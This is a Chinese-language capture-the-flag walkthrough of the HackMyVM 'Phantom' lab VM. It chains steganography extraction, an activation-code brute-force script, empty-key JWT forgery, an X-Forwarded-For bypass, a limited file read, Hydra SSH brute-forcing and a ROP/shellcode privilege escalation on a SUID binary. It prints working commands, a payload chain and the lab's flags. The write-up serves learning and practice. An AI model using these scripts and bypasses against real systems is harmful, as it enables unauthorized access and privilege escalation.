HackMyVM Phantom 通关记录|Steghide 隐写、JWT 空密钥与 romantic_link ROP 提权
靶机链接:Phantom
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Phantom | 192.168.1.112 | 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| Web 侦察 | pass.txt、about_9527_hidden.html、john_9526_hidden.html | 获得隐写图片、成员名和密码提示 |
| 隐写提取 | qr.jpg 空密码提取 666.zip,再用 11104567 提取 secret.txt | 得到 vhost token.dsz |
| 注册激活 | 注册 admin/admin123 后获取激活页面 token,爆破 000000-000999 | 激活本次注册的 admin 账号 |
| 权限绕过 | 空字符串签名 HS256 JWT,X-Forwarded-For: 127.0.0.1 | 解锁后台文件读取功能 |
| 受限 LFI | 读取 /etc/passwd | 得到用户 12138 和 GECOS 线索 To***21** |
| SSH 初始访问 | Todd[X]21[YY] 字典命中 Todd12138 | 登录系统并读取 user flag |
| 二进制提权 | romantic_link root 进程监听 127.0.0.1:1314 | 发现可利用的栈溢出 |
| Root 路线 A | jmp rsp + shellcode | 直接拿 root shell |
| Root 路线 B | ROP 写 debug_mode 后进入 debug_mode_func | 另一条已验证 root 路线 |
0x02 侦察与 Web 线索
1. 端口扫描
rustscan -a 192.168.1.112 -p 1-65535 --ulimit 5000 -- -A -sC -sV -oN nmap_scan.txt
这里 -p 1-65535 明确 RustScan 的端口扫描范围;-- 后面的参数交给 Nmap,RustScan 会把发现的开放端口自动传给 Nmap,相当于执行 nmap -p <发现的端口> ...。
开放端口:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
| 80/tcp | HTTP | nginx 1.14.2 |
HTTP 首页是 MazeSec | 迷踪安全。目录扫描时过滤首页长度,可以看到一个有用文件:
gobuster dir -u http://192.168.1.112 \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,php,bak,zip,jpg,png,dsz,json \
--exclude-length 2653
使用 Gobuster 进行 Web 目录扫描的常见命令与参数,可参考知识库:Gobuster 目录与子域名枚举。
关键结果是 pass.txt:
The password doesn't need to be cracked.
这句话后面对应 JWT 空密钥,并不是传统哈希破解提示。
2. 隐藏页面
首页链接到两个隐藏页面:
about_9527_hidden.htmljohn_9526_hidden.html
about_9527_hidden.html 里出现了两个后续会用到的线索:
11104567,页面里称为老大哥。Todd,页面里称为技术大牛。
john_9526_hidden.html 引用了图片 qr.jpg:
<img src="qr.jpg" alt="MazeSec Community QR">
从前端 HTML、注释或静态资源提取隐藏页面与攻击线索的思路,可参考知识库:robots.txt 与静态资源线索分析。
下载图片:
curl -o qr.jpg http://192.168.1.112/qr.jpg
file qr.jpg
二维码工具扫不出内容:
zbarimg qr.jpg
# WARNING: barcode data was not detected
这里不要停在“二维码识别失败”,继续检查图片隐写。
0x03 Steghide 三层提取与 vhost 发现
第一层,qr.jpg 空密码提取出 666.zip:
steghide extract -sf qr.jpg -p '' -f
# wrote extracted data to "666.zip"
第二层,解压得到 666.jpg:
unzip -o 666.zip
# inflating: 666.jpg
第三层,使用 about_9527_hidden.html 里的 11104567 作为 steghide 密码:
steghide extract -sf 666.jpg -p '11104567' -f
cat secret.txt
输出:
token.dsz
完整链条:
qr.jpg
-> steghide 空密码
-> 666.zip
-> unzip
-> 666.jpg
-> steghide 密码 11104567
-> secret.txt = token.dsz
访问 vhost:
curl --resolve token.dsz:80:192.168.1.112 http://token.dsz/
也可以写入 hosts:
echo '192.168.1.112 token.dsz' | sudo tee -a /etc/hosts
curl http://token.dsz/
如果忘记带 Host 头或没有配置 hosts,后续页面会像“不存在”或始终返回主站首页。
关于虚拟主机和 Host 头绕过探测,可参考知识库:TLS 证书 SAN 与虚拟主机发现。
0x04 token.dsz 注册激活码爆破与受限 LFI
1. 注册与激活机制
token.dsz 下有登录、注册和激活页面:
index.phpregister.phpactivate.phpdashboard.php
注册规则比较直接:
- 注册后需要 6 位激活码。
- 激活码被限制在
000000到000999。 - 激活表单里有 CSRF token,需要每次提交前重新获取。
本次复现中,先注册目标账号:
admin / admin123
注册后进入激活流程。本次环境中 admin 的 UID 为 37;如果重复注册或环境状态不同,以页面返回的用户 ID 为准,并同步调整脚本中的 ADMIN_UID。
2. 爆破 admin 激活码
手工流程是:
- 注册
admin/admin123,记录或确认 admin 的用户 ID。 - 访问
activate.php?id=37获取 CSRF token。 - 在
000000到000999范围内爆破激活码。 - 激活成功后登录
admin/admin123。
注册请求可以这样发:
curl -i -c admin.cookies \
-H 'Host: token.dsz' \
-d 'user=admin&pass=admin123®=' \
http://192.168.1.112/register.php
爆破逻辑的关键是每轮先获取页面里的 token,再提交一个候选激活码:
import re
import requests
IP = "192.168.1.112"
headers = {"Host": "token.dsz"}
admin_uid = "37"
min_code = 0
max_code = 999
s = requests.Session()
s.post(
f"http://{IP}/register.php",
headers=headers,
data={"user": "admin", "pass": "admin123", "reg": ""},
)
for i in range(min_code, max_code + 1):
code = f"{i:06d}"
page = s.get(f"http://{IP}/activate.php?id={admin_uid}", headers=headers)
token = re.search(r'name="token" value="([^"]+)"', page.text).group(1)
resp = s.post(
f"http://{IP}/activate.php",
headers=headers,
data={"id": admin_uid, "token": token, "code": code, "activate": ""},
)
if "激活成功" in resp.text or "msg-box success" in resp.text:
print(code)
break
也可以直接使用附件脚本:
python3 admin_activation_bruteforce.py
脚本成功时会看到 admin 激活成功,并能登录到后台。需要注意的是,登录后 Cookie 里的 JWT 仍然显示 admin 的角色是 user,还不能直接使用内部功能。
3. JWT 空密钥
登录 admin/admin123 后访问 dashboard.php,页面仍提示权限不足。Cookie 中的 auth_token 是 JWT:
{"user":"admin","role":"user","iat":1780475937}
结合 pass.txt 的提示,验证发现 JWT 使用空字符串作为 HS256 密钥。伪造管理员角色:
python3 -c 'import jwt,time; print(jwt.encode({"user":"admin","role":"administrator","iat":int(time.time())}, "", algorithm="HS256"))'
本次记录中使用过的示例 token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E
这个 JWT 没有 exp 字段;只要服务端仍使用空密钥验证 HS256,重新生成或复用同类 token 都能表达 administrator 角色。
4. X-Forwarded-For 来源绕过
只改 JWT 仍然会看到:
Access Denied
第二道限制是来源判断。X-Real-IP: 127.0.0.1 不生效,X-Forwarded-For: 127.0.0.1 生效:
curl -H 'Host: token.dsz' \
-H 'X-Forwarded-For: 127.0.0.1' \
-b 'auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E' \
http://192.168.1.112/dashboard.php
解锁后出现文件读取表单:
<input type="text" name="file_path" required>
<button type="submit">读取内容如下</button>
5. 读取 /etc/passwd
curl -H 'Host: token.dsz' \
-H 'X-Forwarded-For: 127.0.0.1' \
-b 'auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E' \
--data-urlencode 'file_path=/etc/passwd' \
http://192.168.1.112/dashboard.php
关键输出:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
12138:x:1000:1000:To***21**:/home/12138:/bin/bash
这个 LFI 是受限的,很多路径会返回 你不能去读取这个内容。。本题只需要 /etc/passwd 中的用户和 GECOS 线索即可推进。
受限 LFI 读取的路径、文件和排查清单,可参考知识库:LFI 任意文件读取与运行时信息收集。
也可以直接使用附件脚本:
python3 jwt_lfi_read.py /etc/passwd
0x05 SSH 初始访问
/etc/passwd 暴露了用户:
12138:x:1000:1000:To***21**:/home/12138:/bin/bash
这里的关键不是直接把 To***21** 当密码,而是把它和 about_9527_hidden.html 里的 Todd 组合起来:
To和Todd对应。***可以理解为dd后跟 1 位数字。21固定。**是 2 位数字。
生成 Todd[X]21[YY] 字典:
python3 << 'PYEOF'
passwords = set()
for i in range(10):
for j in range(100):
for case in ["Todd", "todd"]:
passwords.add(f"{case}{i}21{j:02d}")
with open("todd_dict.txt", "w") as f:
for p in sorted(passwords):
f.write(p + "\n")
print(f"Generated {len(passwords)} passwords")
PYEOF
Hydra 爆破 SSH:
hydra -l 12138 -P todd_dict.txt -t 4 -w 3 ssh://192.168.1.112
命中结果:
[22][ssh] host: 192.168.1.112 login: 12138 password: Todd12138
登录:
sshpass -p 'Todd12138' ssh -o StrictHostKeyChecking=no 12138@192.168.1.112
读取 user flag:
cat /mnt/flag/user.txt
flag{user-e962b914ff98c867373b60d34943b8f7}
0x06 权限提升
1. 本地枚举
whoami; id; hostname; uname -a
sudo -l
find / -perm -4000 -type f 2>/dev/null
关键发现:
- 当前用户为
12138,没有 sudo 权限。 - 发现
/mnt/flag/romantic_link_challenge/romantic_link。 romantic_link是 SUID root ELF 64-bit,且没有 strip。
自定义 SUID 二进制的常规枚举和静态分析流程,可参考知识库:SUID 自定义二进制静态分析。
检查运行状态:
ps aux | grep romantic_link
ss -tlnp | grep 1314
输出显示该服务以 root 身份监听本地端口:
root ... ./romantic_link
LISTEN 127.0.0.1:1314
测试菜单:
timeout 3 nc -w 2 127.0.0.1 1314
╔══════════════════════════════════════════════╗
║ ❤️ Romantic Link v2.0 ❤️ ║
╚══════════════════════════════════════════════╝
【心动菜单】
1) 开始浪漫聊天
2) 查看我的心情
3) 分享小秘密
4) 获取系统信息
5) 退出链接
2. 下载二进制并分析
ssh 12138@192.168.1.112 'base64 /mnt/flag/romantic_link_challenge/romantic_link' > romantic_link.b64
base64 -d romantic_link.b64 > romantic_link
静态分析结果:
| 项目 | 结果 |
|---|---|
| Stack Canary | 无 |
| PIE | 无 |
| GNU_STACK | RWE,栈可执行 |
| ASLR | 开启 |
share_secret | recv(fd, input, 0xc8, 0) 向 96 字节栈缓冲区写入最多 200 字节 |
关键地址:
| 符号 / gadget | 地址 |
|---|---|
system@plt | 0x401238 |
/bin/sh 字符串 | 0x4033be |
pop rdi; ret | 0x401b3b |
pop rsi; pop r15; ret | 0x401b39 |
jmp rsp | 0x403797 |
ret | 0x401016 |
debug_mode_func | 0x401706 |
debug_mode | 0x403d74 |
strcpy@plt | 0x401050 |
漏洞点在菜单 3 的 share_secret:
char input[0x60];
recv(fd, input, 0xc8, 0);
这里的 fd 是已连接 socket 的文件描述符;recv 第三个参数 0xc8 是 len,表示最多读取 200 字节,第四个参数 0 是 flags。因此最多 200 字节会写入 96 字节缓冲区,偏移 104 字节可以覆盖返回地址。
3. 路线 A:jmp rsp + shellcode
由于栈可执行,可以让返回地址跳到 jmp rsp,再执行栈上的 shellcode。附件脚本:romantic_jmprsp_shellcode.py。
将脚本放到靶机执行:
scp romantic_jmprsp_shellcode.py 12138@192.168.1.112:/tmp/romantic_jmprsp_shellcode.py
ssh 12138@192.168.1.112 'python3 /tmp/romantic_jmprsp_shellcode.py'
实际输出包含:
uid=0(root) gid=0(root) groups=0(root)
flag{root-2bd1dc759be8c8940e35569092e7dac2}
4. 路线 B:ROP 写 debug_mode 后进入 debug_mode_func
另一条已复测路线不依赖 shellcode,而是构造短 ROP 链:
- 通过栈溢出控制返回地址。
- 调用
strcpy@plt,把debug_mode从0改成非零。 - 直接跳入
debug_mode_func(fd)。 - 发送
shell,触发函数内部的dup2和system("/bin/sh")。
核心 ROP 链:
payload = b"A" * 104
payload += p64(0x401B3B) + p64(0x403D74)
payload += p64(0x401B39) + p64(0x402000) + p64(0)
payload += p64(0x401050)
payload += p64(0x401B3B) + p64(4)
payload += p64(0x401016) + p64(0x401706)
附件脚本:romantic_rop_root.py。
执行:
scp romantic_rop_root.py 12138@192.168.1.112:/tmp/romantic_rop_root.py
ssh 12138@192.168.1.112 "python3 /tmp/romantic_rop_root.py --cmd 'id; cat /root/root.txt; exit'"
实际输出包含:
【调试】输入命令 (输入 shell 获取权限): 启动 shell...
uid=0(root) gid=0(root) groups=0(root)
flag{root-2bd1dc759be8c8940e35569092e7dac2}
两条路线都已在当前环境复测成功。公开复现时,如果只想尽快拿 root,优先使用 romantic_rop_root.py 这条 ROP 路线;如果想理解二进制设计缺陷,再回看 jmp rsp + shellcode 路线。
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/mnt/flag/user.txt - 内容:
flag{user-e962b914ff98c867373b60d34943b8f7}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-2bd1dc759be8c8940e35569092e7dac2}
复盘总结
-
pass.txt是方向提示,不是密码文件。The password doesn't need to be cracked.最终指向 JWT 空密钥,而不是传统 hash cracking。 -
隐写链要结合页面线索。
qr.jpg空密码提取只是第一层,真正的 vhost 来自第二张图,并且密码来自about_9527_hidden.html里的11104567。 -
注册和激活码爆破要写清楚。 本题不是依赖数据库里的历史注册数据,而是自己注册
admin/admin123,再利用 6 位激活码范围过小的问题爆破激活。 -
JWT 角色和来源判断缺一不可。 只伪造
role=administrator还不够,必须同时加X-Forwarded-For: 127.0.0.1。 -
受限 LFI 也能推进攻击链。 本题不需要自由读取源码或日志,只要
/etc/passwd泄露了12138和 GECOS 字段,就足够构造 SSH 字典。 -
root 服务绑定本地端口,利用脚本应在靶机执行或通过 SSH 转发。
romantic_link监听127.0.0.1:1314,直接从攻击机连接不到;复现时要么把脚本传到靶机运行,要么先做本地端口转发。
附件下载
为了方便复现,本文涉及的自编脚本已整理到站点静态目录:
| 文件 | 说明 |
|---|---|
| jwt_lfi_read.py | 在 admin 已激活后,自动登录 admin/admin123、伪造空密钥 JWT、添加 X-Forwarded-For 并读取文件 |
| admin_activation_bruteforce.py | 注册 admin/admin123 并爆破 000000-000999 激活码的辅助脚本 |
| romantic_rop_root.py | romantic_link 短 ROP 链提权脚本 |
| romantic_jmprsp_shellcode.py | jmp rsp + shellcode 提权复测脚本 |
这些脚本默认使用本次实验 IP 192.168.1.112 和 vhost token.dsz。如果靶机 IP 变化,先修改脚本中的 IP 或使用 SSH 本地端口转发。